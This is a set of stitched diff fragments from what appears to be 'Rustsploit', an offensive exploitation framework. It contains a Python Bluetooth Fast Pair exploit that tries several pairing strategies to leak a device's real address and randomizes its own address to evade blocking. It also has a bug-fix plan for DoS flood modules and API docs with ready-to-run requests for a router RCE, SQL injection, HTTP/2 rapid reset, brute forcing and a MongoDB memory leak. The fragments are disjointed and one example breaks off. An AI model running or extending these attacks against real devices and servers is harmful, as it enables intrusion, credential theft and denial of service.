||||
if sig_re.is_match(&content) {
|
||||
mappings.insert((rel_str.clone(), rel_str));
|
||||
if !content.contains("fn run") { continue; }
|
||||
if run_re.is_match(&content) {
|
||||
let caps = ModuleCapabilities {
|
||||
has_info: content.contains("fn info") && info_re.is_match(&content),
|
||||
has_check: content.contains("fn check") && check_re.is_match(&content),
|
||||
};
|
||||
mappings.insert((rel_str.clone(), rel_str, caps));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -122,3 +492,18 @@ fn find_modules(root: &Path) -> Result<HashSet<(String, String)>, Box<dyn std::e
|
||||
}
|
||||
Ok(mappings)
|
||||
}
|
||||
|
||||
// Manual Hash/Eq implementations for ModuleCapabilities that only compare on the key
|
||||
impl std::hash::Hash for ModuleCapabilities {
|
||||
fn hash<H: std::hash::Hasher>(&self, _state: &mut H) {
|
||||
// Intentionally empty — hashing is done on the tuple's first element
|
||||
}
|
||||
}
|
||||
|
||||
impl PartialEq for ModuleCapabilities {
|
||||
fn eq(&self, _other: &Self) -> bool {
|
||||
true // All capabilities are "equal" for set dedup purposes
|
||||
}
|
||||
}
|
||||
|
||||
impl Eq for ModuleCapabilities {}
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
# --- Constants ---
|
||||
|
||||
return fmt_mac(chunk)
|
||||
|
||||
return None
|
||||
|
||||
async def exploit_device(self, address, strategy_index=None, log_callback=None):
|
||||
def log(msg, type="info"):
|
||||
if log_callback: log_callback(msg, type)
|
||||
else: print(msg)
|
||||
|
||||
log(f"Starting Multi-Strategy Exploit on {address}...", "info")
|
||||
|
||||
try:
|
||||
async with BleakClient(address, timeout=20.0) as client:
|
||||
log(f"Connected. Auth: {client.is_connected}", "success")
|
||||
|
||||
# Service Discovery
|
||||
service = client.services.get_service(FAST_PAIR_UUID)
|
||||
if not service:
|
||||
for s in client.services:
|
||||
if "fe2c" in str(s.uuid).lower():
|
||||
service = s
|
||||
break
|
||||
if not service:
|
||||
log("Fast Pair Service not found.", "error")
|
||||
return False
|
||||
|
||||
# Model ID & Quirks
|
||||
quirks = {"delay_before_kbp": 0, "delay_before_account_key": 0.5, "prefers_br_edr": True}
|
||||
model_char = service.get_characteristic(MODEL_ID_UUID)
|
||||
if model_char:
|
||||
try:
|
||||
mid_bytes = await client.read_gatt_char(model_char)
|
||||
quirks = self._parse_model_id(mid_bytes)
|
||||
log(f"Model ID: {mid_bytes.hex().upper()} (Quirks applied)", "info")
|
||||
except:
|
||||
log("Could not read Model ID, using defaults.", "info")
|
||||
|
||||
# KBP Characteristic
|
||||
kbp_char = service.get_characteristic(KBP_CHAR_UUID)
|
||||
if not kbp_char:
|
||||
log("KBP Characteristic not found.", "error")
|
||||
return False
|
||||
|
||||
# Apply Quirk Delay
|
||||
if quirks["delay_before_kbp"] > 0:
|
||||
await asyncio.sleep(quirks["delay_before_kbp"])
|
||||
|
||||
# Response Handling
|
||||
response_event = asyncio.Event()
|
||||
parsed_address = None
|
||||
|
||||
def notification_handler(sender, data):
|
||||
nonlocal parsed_address
|
||||
# Use robust parser
|
||||
found = self._parse_kbp_response(data, current_secret)
|
||||
if found:
|
||||
parsed_address = found
|
||||
log(f"Response Parsed! Real Address: {parsed_address}", "success")
|
||||
else:
|
||||
log(f"Response received but could not parse MAC (len={len(data)})", "warning")
|
||||
|
||||
response_event.set()
|
||||
|
||||
await client.start_notify(kbp_char, notification_handler)
|
||||
|
||||
# Strategy Selection
|
||||
strategies_to_try = []
|
||||
if strategy_index is not None:
|
||||
try:
|
||||
strategies_to_try.append(EXPLOIT_STRATEGIES[int(strategy_index)])
|
||||
except (ValueError, IndexError):
|
||||
log(f"Invalid strategy index: {strategy_index}. Available: {list(enumerate(EXPLOIT_STRATEGIES))}", "error")
|
||||
return False
|
||||
else:
|
||||
strategies_to_try = EXPLOIT_STRATEGIES
|
||||
|
||||
# CRITICAL FIX: Use the actual target device address as the Provider Address
|
||||
# The device checks this to ensure the packet is meant for it.
|
||||
try:
|
||||
# Convert MAC string "AA:BB:..." to bytes
|
||||
provider_addr = bytes(int(x, 16) for x in address.split(":"))
|
||||
except ValueError:
|
||||
log("Invalid MAC address format. Using dummy provider address.", "warning")
|
||||
provider_addr = bytes([0xAA, 0xBB, 0xCC, 0x11, 0x22, 0x33])
|
||||
|
||||
# Randomize Seeker Address for every attempt to evade caching/blocking
|
||||
seeker_addr = secrets.token_bytes(6)
|
||||
log(f"Target (Provider) Address: {address}", "info")
|
||||
log(f"Strategies to try: {strategies_to_try}", "info")
|
||||
|
||||
success_strategy = None
|
||||
current_secret = None
|
||||
write_accepted_but_no_response = False
|
||||
|
||||
for strat in strategies_to_try:
|
||||
log(f"Trying Strategy: {strat}...", "info")
|
||||
packet, secret = self._build_kbp_packet(strat, provider_addr, seeker_addr)
|
||||
current_secret = secret # For notification handler
|
||||
Binary file not shown.
@@ -6227,3 +6227,50 @@ Features: Automatic MD5 password hashing for RTSP config compatibility.
|
||||
Audited: Checked all tplink modules (vn020_dos, wr740n_dos, tapo_c200).
|
||||
Polished: Ensured all modules run with clear, consistent banners and user instructions.
|
||||
Secured: Enforced utils::normalize_target across all TP-Link modules to ensure robust IP/Hostname handling.
|
||||
|
||||
DOS Module Audit & Documentation Update
|
||||
Fix bugs, apply best practices, and update documentation for 3 DOS modules and 2 READMEs.
|
||||
|
||||
Proposed Changes
|
||||
connection_exhaustion_flood.rs
|
||||
[MODIFY]
|
||||
connection_exhaustion_flood.rs
|
||||
# Issue Fix
|
||||
1 Infinite loop unreachable (line 312): duration=0 mode enters loop { sleep(60).await } — code after it (stop_flag, report) never executes Replace with tokio::signal::ctrl_c() to allow graceful shutdown
|
||||
2 Format string bug (line 349): "[+] Local FD usage was bounded to {} concurrent." — {} is a literal format placeholder but is passed to .green(), not format!() Wrap in format!(...) with config.max_concurrent_fds
|
||||
3 Unsafe port parse (line 78): .unwrap_or(80) silently defaults on garbage input Use .map_err() with proper error
|
||||
tcp_connection_flood.rs
|
||||
[MODIFY]
|
||||
tcp_connection_flood.rs
|
||||
# Issue Fix
|
||||
1 Unsafe port parse (line 59): .unwrap_or(80) Proper error handling
|
||||
2 Unused import (line 3): tokio::io::AsyncWriteExt imported but stream.shutdown() uses it — verify if actually needed after Ok(mut stream) → actually IS used on line 178 Keep — but verify it compiles
|
||||
3 Division-by-zero risk (line 147): s_start.elapsed().as_secs_f64() could be 0.0 on first tick Add .max(0.001) guard
|
||||
4 Slow random sampling (line 183): rand::random::<f32>() < 0.001 — uses full crypto RNG for error sampling Replace with counter-based sampling (wrapping_add + modulo, like connection_exhaustion_flood)
|
||||
5 No infinite mode: Duration is always >0 Add duration=0 support with ctrl_c
|
||||
null_syn_exhaustion.rs
|
||||
[MODIFY]
|
||||
null_syn_exhaustion.rs
|
||||
# Issue Fix
|
||||
1 Total length overflow (line 185): total_len = self.buffer.len() as u16 — if payload_size is > 65495, this will truncate Already capped at line 484-488, but add debug_assert
|
||||
NOTE
|
||||
|
||||
null_syn_exhaustion.rs
|
||||
is well-optimized with custom FastRng, pre-allocated PacketBuilder, batched stats, and native OS threads. Only minor hardening needed.
|
||||
|
||||
Documentation Updates
|
||||
[MODIFY]
|
||||
README.md
|
||||
Add DOS modules to module catalog table (exploits/dos/*)
|
||||
Add camxploit mass scan enhancements to highlights (EXCLUDED_RANGES, service filtering, output file)
|
||||
Add EXCLUDED_RANGES pattern to highlights section
|
||||
[MODIFY]
|
||||
docs/readme.md
|
||||
Add DOS module section under "Recent Module Enhancements"
|
||||
Document connection_exhaustion_flood (FD-bounded, semaphore)
|
||||
Update "DoS / Stress Testing Optimizations" section with connection_exhaustion_flood
|
||||
Verification Plan
|
||||
bash
|
||||
cargo check 2>&1 | tail -5 # Must exit 0
|
||||
grep -n "unwrap_or(80)" src/modules/exploits/dos/*.rs # Must return empty
|
||||
grep -n "rand::random" src/modules/exploits/dos/*.rs # Must return empty
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,388 @@
|
||||
# API Server
|
||||
|
||||
Rustsploit includes a built-in API server (`src/api.rs`, `src/ws.rs`) with post-quantum encrypted WebSocket transport and SSH-style identity key authentication. No TLS. No API keys.
|
||||
|
||||
---
|
||||
|
||||
## Starting the API Server
|
||||
|
||||
```bash
|
||||
# Basic — auto-generates host key on first run
|
||||
cargo run -- --api
|
||||
|
||||
# Custom bind address
|
||||
cargo run -- --api --interface 0.0.0.0:9000
|
||||
|
||||
# Custom key paths
|
||||
cargo run -- --api --pq-host-key /path/to/host_key --pq-authorized-keys /path/to/authorized_keys
|
||||
```
|
||||
|
||||
On first run, the server generates a PQ host key pair at `~/.rustsploit/pq_host_key` and prints its fingerprint:
|
||||
```
|
||||
🔑 Host key fingerprint: PQ256:a1b2c3d4e5f6...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## API Flags
|
||||
|
||||
| Flag | Description | Required |
|
||||
|------|-------------|----------|
|
||||
| `--api` | Enable API server mode | Yes |
|
||||
| `--interface <addr:port>` | Bind address (default: `127.0.0.1:8080`) | No |
|
||||
| `--pq-host-key <path>` | PQ host key file (default: `~/.rustsploit/pq_host_key`) | No |
|
||||
| `--pq-authorized-keys <path>` | Authorized client keys (default: `~/.rustsploit/pq_authorized_keys`) | No |
|
||||
|
||||
---
|
||||
|
||||
## Authentication — Post-Quantum Identity Keys
|
||||
|
||||
Authentication uses SSH-style public/private key pairs with post-quantum cryptography. No API keys or Bearer tokens.
|
||||
|
||||
### How it works
|
||||
|
||||
1. **Server** has a host key pair (ML-KEM-768 + X25519) stored at `~/.rustsploit/pq_host_key`
|
||||
2. **Client** has an identity key pair per tenant, stored encrypted in ArcticAlopex's database
|
||||
3. Client's public key must be listed in `~/.rustsploit/pq_authorized_keys`
|
||||
4. On first connection, client and server perform a **mutual authentication handshake** at `POST /pq/handshake`
|
||||
5. Both sides prove key ownership via DH proof-of-possession
|
||||
6. Session keys are derived from 3 shared secrets: ephemeral X25519 DH + identity X25519 DH + ML-KEM-768
|
||||
7. All subsequent API traffic is encrypted with ChaCha20-Poly1305 via a Double Ratchet (forward secrecy)
|
||||
|
||||
### Authorized keys format
|
||||
|
||||
`~/.rustsploit/pq_authorized_keys` — one JSON object per line:
|
||||
```json
|
||||
{"name":"acme-tenant","x25519_pub":"base64...","mlkem_ek":"base64..."}
|
||||
{"name":"redteam","x25519_pub":"base64...","mlkem_ek":"base64..."}
|
||||
```
|
||||
|
||||
### Security properties
|
||||
|
||||
| Property | Mechanism |
|
||||
|----------|-----------|
|
||||
| Quantum resistance | ML-KEM-768 (NIST FIPS 203, Level 3) |
|
||||
| Classical resistance | X25519 hybrid (both must be broken) |
|
||||
| Forward secrecy | Double Ratchet with periodic DH re-keying |
|
||||
| Mutual authentication | Both sides prove identity key ownership |
|
||||
| Replay protection | Monotonic epoch counter + unique nonces |
|
||||
| Tampering detection | ChaCha20-Poly1305 AEAD with AAD |
|
||||
|
||||
---
|
||||
|
||||
## Endpoints
|
||||
|
||||
### Public (no PQ session needed)
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/health` | Health check |
|
||||
| `POST` | `/pq/handshake` | Establish PQ-encrypted session (mutual auth) |
|
||||
| `GET` | `/pq/ws` | Upgrade to PQ-encrypted WebSocket transport |
|
||||
|
||||
### Protected (26 endpoints — require active PQ session)
|
||||
|
||||
**Modules**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/modules` | List all available modules by category |
|
||||
| `GET` | `/api/modules/search?q=<keyword>` | Search modules by keyword |
|
||||
| `GET` | `/api/module/{category}/{name}` | Get module info/metadata |
|
||||
| `POST` | `/api/run` | Execute a module against a target |
|
||||
|
||||
**Shell**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `POST` | `/api/shell` | Execute any shell command (full parity with interactive shell) |
|
||||
|
||||
**Target**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/target` | Get current global target |
|
||||
| `POST` | `/api/target` | Set global target |
|
||||
| `DELETE` | `/api/target` | Clear global target |
|
||||
|
||||
**Honeypot Detection**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `POST` | `/api/honeypot-check` | Check if target is a honeypot |
|
||||
|
||||
**Results**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/results` | List saved result files |
|
||||
| `GET` | `/api/results/{filename}` | Download a result file |
|
||||
|
||||
**Global Options**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/options` | List all global options (`setg` values) |
|
||||
| `POST` | `/api/options` | Set a global option |
|
||||
| `DELETE` | `/api/options` | Delete a global option |
|
||||
|
||||
**Credential Store**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/creds` | List stored credentials |
|
||||
| `POST` | `/api/creds` | Add a credential manually |
|
||||
| `DELETE` | `/api/creds` | Delete a credential by ID |
|
||||
|
||||
**Workspace / Hosts / Services**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/hosts` | List tracked hosts |
|
||||
| `POST` | `/api/hosts` | Add a host (IP, hostname, OS guess) |
|
||||
| `GET` | `/api/services` | List discovered services |
|
||||
| `POST` | `/api/services` | Add a service (host, port, protocol, name) |
|
||||
| `GET` | `/api/workspace` | Get current workspace name/data |
|
||||
| `POST` | `/api/workspace` | Switch to a different workspace |
|
||||
|
||||
**Loot**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/loot` | List collected loot items |
|
||||
| `POST` | `/api/loot` | Add loot (host, type, description, data) |
|
||||
|
||||
**Jobs**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/jobs` | List background jobs |
|
||||
| `DELETE` | `/api/jobs/{id}` | Kill a background job by ID |
|
||||
|
||||
**Export**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/export?format=<json\|csv\|summary>` | Export engagement data |
|
||||
|
||||
> **Note:** The `check` command (non-destructive vulnerability check) is available via `POST /api/shell` with `{"command": "check"}` when a module and target are set. There is no dedicated `/api/check` endpoint.
|
||||
|
||||
> All responses include `request_id`, `timestamp`, and `duration_ms` fields for observability.
|
||||
|
||||
> **Total: 28 endpoints** (2 public + 26 protected) across 9 resource categories, plus WebSocket transport.
|
||||
|
||||
### WebSocket Transport
|
||||
|
||||
`GET /pq/ws` upgrades the connection to a PQ-encrypted WebSocket. After the initial `/pq/handshake`, clients can switch to WebSocket for persistent bidirectional communication.
|
||||
|
||||
**Features:**
|
||||
- PQ-encrypted frames using ChaCha20-Poly1305 (same security as REST)
|
||||
- Max 100 concurrent WebSocket connections
|
||||
- 30-second heartbeat interval
|
||||
- 1 MiB max frame size
|
||||
- Sub-session key derivation from the PQ handshake session
|
||||
|
||||
**Headers required:**
|
||||
- `X-PQ-Session-Id` — session ID from `/pq/handshake`
|
||||
- Standard WebSocket upgrade headers
|
||||
|
||||
WebSocket messages use the same JSON request/response format as REST endpoints. The WebSocket transport is ideal for long-running operations, real-time job monitoring, and persistent client connections.
|
||||
|
||||
---
|
||||
|
||||
### Shell Command Endpoint
|
||||
|
||||
`POST /api/shell` provides **full parity** with the interactive shell. Every command
|
||||
available in the `rsf>` prompt works via this endpoint. Commands that require interactive
|
||||
prompts (like `creds add`, `services add`, `loot add`) accept inline arguments instead.
|
||||
|
||||
**Request format:**
|
||||
```json
|
||||
{
|
||||
"command": "single command string",
|
||||
"commands": ["cmd1", "cmd2", "cmd3"]
|
||||
}
|
||||
```
|
||||
|
||||
Use `command` for a single command or `commands` (array, 1-20 entries) for batching.
|
||||
Shell metacharacters (`& | ; $ >`) are forbidden — use the `commands` array for chaining.
|
||||
|
||||
**Supported commands:**
|
||||
|
||||
| Category | Commands |
|
||||
|----------|----------|
|
||||
| Navigation | `help`, `modules`, `find <kw>`, `use <path>`, `info [path]`, `back` |
|
||||
| Targeting | `set target <ip>`, `set subnet <CIDR>`, `set port <n>`, `show_target`, `clear_target` |
|
||||
| Execution | `run [target]`, `run_all [target]`, `check` |
|
||||
| Global Options | `setg <key> <val>`, `unsetg <key>`, `show_options` |
|
||||
| Credentials | `creds`, `creds add <host> <port> <svc> <user> <secret> [type]`, `creds search <q>`, `creds delete <id>`, `creds clear` |
|
||||
| Hosts/Services | `hosts`, `hosts add <ip>`, `services`, `services add <host> <port> <proto> <name> [ver]`, `notes <ip> <text>` |
|
||||
| Workspace | `workspace [name]` |
|
||||
| Loot | `loot`, `loot add <host> <type> <desc> <data>`, `loot search <q>` |
|
||||
| Export | `export <json\|csv\|summary> <file>` |
|
||||
| Jobs | `jobs`, `jobs -k <id>`, `jobs clean` |
|
||||
| Logging | `spool [off\|file]` |
|
||||
|
||||
**Not available in API mode:** `resource` (security — prevents server-side file execution), `makerc` (no shell history).
|
||||
|
||||
**Response format:**
|
||||
```json
|
||||
{
|
||||
"success": true,
|
||||
"message": "N shell command(s) executed",
|
||||
"data": {
|
||||
"results": [
|
||||
{
|
||||
"command": "modules",
|
||||
"success": true,
|
||||
"output": "{\"total\": <dynamically generated>, ...}",
|
||||
"duration_ms": 2
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Commands returning structured data (modules, creds, hosts, services, loot, jobs, options, info, check)
|
||||
encode their output as JSON strings in the `output` field.
|
||||
|
||||
---
|
||||
|
||||
## Security Features
|
||||
|
||||
### Input Validation
|
||||
|
||||
| Check | Detail |
|
||||
|-------|--------|
|
||||
| Request body limit | Max 1 MB (prevents DoS) |
|
||||
| API key validation | Must be printable ASCII, max 256 chars |
|
||||
| Target validation | Length check, control char rejection, path traversal prevention |
|
||||
| Module path sanitization | Validated against injection and traversal attacks |
|
||||
| Resource limits | Auto-cleanup when tracked IPs or auth failures exceed 100,000 entries |
|
||||
|
||||
### IP Whitelist
|
||||
|
||||
An optional IP whitelist can be configured at `~/.rustsploit/ip_whitelist.conf` (one IP per line, `#` for comments). When the file exists and contains entries, only listed IPs are allowed to access the API. All other IPs receive HTTP `403 Forbidden`. If the file is absent or empty, all IPs are allowed.
|
||||
|
||||
### Rate Limiting
|
||||
|
||||
- **10 requests per second** per IP (general rate limit)
|
||||
- **3 failed auth attempts** → IP blocked for **30 seconds**
|
||||
- Blocked IPs receive HTTP `429 Too Many Requests`
|
||||
- Failure counter resets automatically after the block expires
|
||||
- Successful auth resets the failure counter for that IP
|
||||
- Expired blocks and entries older than **1 hour** are auto-pruned
|
||||
|
||||
### Post-Quantum Host Key
|
||||
|
||||
The server generates an ML-KEM-768 + X25519 host key pair on first run at `~/.rustsploit/pq_host_key`. This is the server's permanent identity — like an SSH host key. The fingerprint is displayed on startup and should be verified by clients on first connection to prevent MITM attacks.
|
||||
|
||||
---
|
||||
|
||||
## Logging
|
||||
|
||||
All activity is logged to:
|
||||
- **Terminal** — real-time colored output
|
||||
- **`rustsploit_api.log`** — in the current working directory
|
||||
|
||||
Logged events include:
|
||||
- API requests and responses
|
||||
- Authentication failures and rate limit triggers
|
||||
- IP tracking and hardening actions
|
||||
- Key rotation events
|
||||
- Module execution results
|
||||
- Resource cleanup operations
|
||||
|
||||
---
|
||||
|
||||
## Module Prompts (API Mode)
|
||||
|
||||
All modules (exploits, scanners, and creds) support a `prompts` field in the
|
||||
`/api/run` request body. This field is a JSON object of key→value pairs that
|
||||
pre-fill interactive prompts so modules run non-interactively via the API.
|
||||
|
||||
### How It Works
|
||||
|
||||
1. Modules use `cfg_prompt_*()` functions that check `prompts` first
|
||||
2. If a key is not found in `prompts`, global options (set via `setg` or
|
||||
`POST /api/options`) are checked next
|
||||
3. If a key is present in either source, its value is used instead of prompting stdin
|
||||
4. If a key is missing in API mode, the default value is used (or an error is
|
||||
returned for required prompts)
|
||||
5. Boolean prompts accept: `y`/`n`/`yes`/`no`/`true`/`false`/`1`/`0`
|
||||
|
||||
### Common Prompt Keys
|
||||
|
||||
| Key | Type | Used By | Description |
|
||||
|-----|------|---------|-------------|
|
||||
| `port` | u16 | Most modules | Target service port |
|
||||
| `target` | string | Some modules | Override target when empty |
|
||||
| `command` | string | RCE exploits | Command to execute |
|
||||
| `username` | string | Auth exploits/creds | Username or login |
|
||||
| `password` | string | Auth exploits/creds | Password or credential |
|
||||
| `mode` | string | Multi-mode modules | Select operation mode (1, 2, 3…) |
|
||||
| `concurrency` | int | Scanners/creds | Max concurrent tasks |
|
||||
| `output_file` | string | Modules with save | Output filename |
|
||||
| `save_results` | y/n | Creds/scanners | Save results to file |
|
||||
| `verbose` | y/n | Many modules | Verbose output |
|
||||
| `skip_ssl` | y/n | Web exploits | Skip SSL verification |
|
||||
| `proceed` | y/n | Dangerous exploits | Confirm execution |
|
||||
| `lhost` | string | Reverse shell | Attacker listener IP |
|
||||
| `lport` | string | Reverse shell | Attacker listener port |
|
||||
| `username_wordlist` | path | Creds modules | Path to username wordlist |
|
||||
| `password_wordlist` | path | Creds modules | Path to password wordlist |
|
||||
| `stop_on_success` | y/n | Creds modules | Stop on first valid credential |
|
||||
| `combo_mode` | y/n | Creds modules | user×pass combination mode |
|
||||
|
||||
### Example: Exploit Module via API
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
|
||||
"target": "192.168.1.1",
|
||||
"prompts": {
|
||||
"username": "admin",
|
||||
"password": "admin123",
|
||||
"command": "id"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Example: Credential Module via API
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "creds/generic/ftp_bruteforce",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "21",
|
||||
"username_wordlist": "/opt/wordlists/users.txt",
|
||||
"password_wordlist": "/opt/wordlists/passwords.txt",
|
||||
"concurrency": "500",
|
||||
"stop_on_success": "y",
|
||||
"save_results": "y",
|
||||
"output_file": "ftp_results.txt",
|
||||
"verbose": "n",
|
||||
"combo_mode": "n"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Example: Database Bruteforce via API
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "creds/generic/mysql_bruteforce",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "3306",
|
||||
"use_defaults": "y",
|
||||
"username_wordlist": "/opt/wordlists/users.txt",
|
||||
"password_wordlist": "/opt/wordlists/passwords.txt",
|
||||
"concurrency": "20",
|
||||
"stop_on_success": "y",
|
||||
"save_results": "y",
|
||||
"output_file": "mysql_results.txt"
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,448 @@
|
||||
# API Usage Examples
|
||||
|
||||
Practical workflows for interacting with the Rustsploit WebSocket API.
|
||||
|
||||
> Start the server first: `cargo run -- --api`
|
||||
>
|
||||
> **Note:** All API endpoints (except `/health`) require a PQ WebSocket session. The examples below show the JSON message format sent over the WebSocket connection — not direct HTTP requests. Authentication is via PQ identity keys established during the handshake. The `Authorization: Bearer` headers shown are **legacy placeholders** retained for readability — they are not used.
|
||||
|
||||
---
|
||||
|
||||
## Health Check (No Auth)
|
||||
|
||||
```bash
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
**Response:**
|
||||
```json
|
||||
{"status": "ok", "timestamp": "2026-03-17T14:00:00Z"}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## List Available Modules
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer my-secret-key" \
|
||||
http://localhost:8080/api/modules
|
||||
```
|
||||
|
||||
**Response (truncated):**
|
||||
```json
|
||||
{
|
||||
"modules": [
|
||||
"exploits/heartbleed",
|
||||
"exploits/mongo/mongobleed",
|
||||
"scanners/port_scanner",
|
||||
"scanners/dir_brute",
|
||||
"creds/generic/ssh_bruteforce"
|
||||
],
|
||||
"count": 240,
|
||||
"request_id": "abc123",
|
||||
"timestamp": "2026-03-17T14:01:00Z",
|
||||
"duration_ms": 2
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Get Module Details
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer my-secret-key" \
|
||||
http://localhost:8080/api/module/exploits/sample_exploit
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run a Port Scan
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run an Exploit
|
||||
|
||||
All exploit modules support full API mode via the `prompts` field. When running
|
||||
via the API, every interactive prompt can be pre-filled so modules never block
|
||||
waiting on stdin.
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "exploits/heartbleed", "target": "10.10.10.10"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
### Exploit with Prompts
|
||||
|
||||
```bash
|
||||
# TP-Link Archer RCE — supply credentials and command via API
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
|
||||
"target": "192.168.1.1",
|
||||
"prompts": {
|
||||
"username": "admin",
|
||||
"password": "admin123",
|
||||
"command": "id"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
```bash
|
||||
# Zabbix SQL Injection — pre-select payload mode and credentials
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/webapps/zabbix/zabbix_7_0_0_sql_injection",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"username": "Admin",
|
||||
"password": "zabbix",
|
||||
"mode": "3"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
```bash
|
||||
# HTTP/2 Rapid Reset DoS test
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "443",
|
||||
"use_ssl": "y",
|
||||
"num_streams": "500",
|
||||
"delay_ms": "1",
|
||||
"run_baseline": "y",
|
||||
"confirm_permission": "y"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run a Credential Module
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "creds/generic/ssh_bruteforce",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "22",
|
||||
"username_wordlist": "/opt/wordlists/users.txt",
|
||||
"password_wordlist": "/opt/wordlists/passwords.txt",
|
||||
"concurrency": "100",
|
||||
"stop_on_success": "y",
|
||||
"save_results": "y",
|
||||
"output_file": "ssh_results.txt"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run MongoBleed (CVE-2025-14847)
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/mongo/mongobleed",
|
||||
"target": "10.10.10.10:27017",
|
||||
"prompts": {
|
||||
"mode": "2",
|
||||
"port": "27017",
|
||||
"output_file": "leaked_data.bin"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Global Options
|
||||
|
||||
```bash
|
||||
# Set global options
|
||||
curl -X POST http://localhost:8080/api/options \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"port": "8080", "concurrency": "50"}'
|
||||
|
||||
# List global options
|
||||
curl http://localhost:8080/api/options \
|
||||
-H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credential Store
|
||||
|
||||
```bash
|
||||
# Add a credential
|
||||
curl -X POST http://localhost:8080/api/creds \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "192.168.1.1", "port": 22, "service": "ssh", "username": "admin", "secret": "password123", "cred_type": "password"}'
|
||||
|
||||
# List all credentials
|
||||
curl http://localhost:8080/api/creds \
|
||||
-H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Delete a credential
|
||||
curl -X DELETE http://localhost:8080/api/creds \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"id": "abc12345"}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Workspace & Host Tracking
|
||||
|
||||
```bash
|
||||
# Add a host
|
||||
curl -X POST http://localhost:8080/api/hosts \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
